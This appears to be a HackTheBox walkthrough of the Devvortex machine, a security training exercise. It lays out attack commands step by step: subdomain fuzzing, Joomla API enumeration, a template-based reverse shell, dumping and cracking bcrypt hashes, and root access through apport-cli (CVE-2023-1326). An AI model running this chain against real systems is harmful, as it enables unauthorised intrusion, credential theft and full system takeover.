
HackTheBox Devvortex walkthrough covering subdomain fuzzing, Joomla API enumeration, template-based web shell, bcrypt hash cracking, and Apport-CLI CVE-2023-1326 privilege escalation.
A comprehensive technical walkthrough detailing the compromise of the Devvortex machine on HackTheBox. This path demonstrates Subdomain Fuzzing, Joomla API Enumeration, Template Modification for initial access, Database Hash Extraction & Cracking for lateral movement, and exploitation of Apport-CLI (CVE-2023-1326) for privilege escalation to root.
devvortex.htbdev.devvortex.htbapport-cli).An initial fast TCP port discovery was performed across all ports:
nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>
A subsequent service and version detection scan was executed against the identified open ports:
Bash
nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>
Add the base target domain to your local hostname resolution table:
Bash
sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb
Fuzzing virtual hosts to identify additional web assets:
Bash
ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ
Result: Discovered dev.devvortex.htb. Added dev.devvortex.htb to /etc/hosts.
Enumerating routes on the newly discovered virtual host:
Bash
ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ
Result: Discovered the /administrator endpoint, exposing a Joomla admin authentication portal.
Probing public endpoints exposed by Joomla's REST API to gather sensitive application metrics and users:
Bash
curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)
Using credentials uncovered during enumeration, log into the Joomla /administrator portal:
Navigate to System > Site Templates.
Select the active template and open error.php.
Replace the contents of error.php with a standard PHP reverse shell payload.
Initialize a local netcat listener:
Bash
nc -lvnp 4444
Trigger the execution of error.php by requesting a non-existent page or hitting the file directly.
Once the shell connects as www-data, spawn an interactive PTY session:
Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
Access the local MySQL database using credentials retrieved from the web configuration files:
Bash
mysql -u lewis -p
Query the user table to locate stored credential hashes:
SQL
SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;
Extract the bcrypt password hash for the user logan into a local file:
Bash
nano hash.txt
Crack the hash using John the Ripper alongside rockyou.txt:
Bash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Establish a persistent SSH session as user logan with the cracked credentials:
Bash
Bash
cat user.txt
Inspect permitted binaries for the logan user:
Bash
sudo -l
Output: User may run /usr/bin/apport-cli as root.
Check the installed version of apport-cli:
Bash
apport-cli --version
Inspect /var/crash for existing report files. If empty, manually craft a crash file:
Bash
echo "ProblemType: Crash" > /var/crash/.crash
Launch apport-cli against the crafted crash file using sudo:
Bash
sudo /usr/bin/apport-cli -c /var/crash/.crash
Press v to View report.
When the paginator (less) loads the content, escape to a system shell by entering:
Plaintext
!/bin/bash
Verify root elevation:
Bash
whoami
# Output: root
Bash
cat /root/root.txt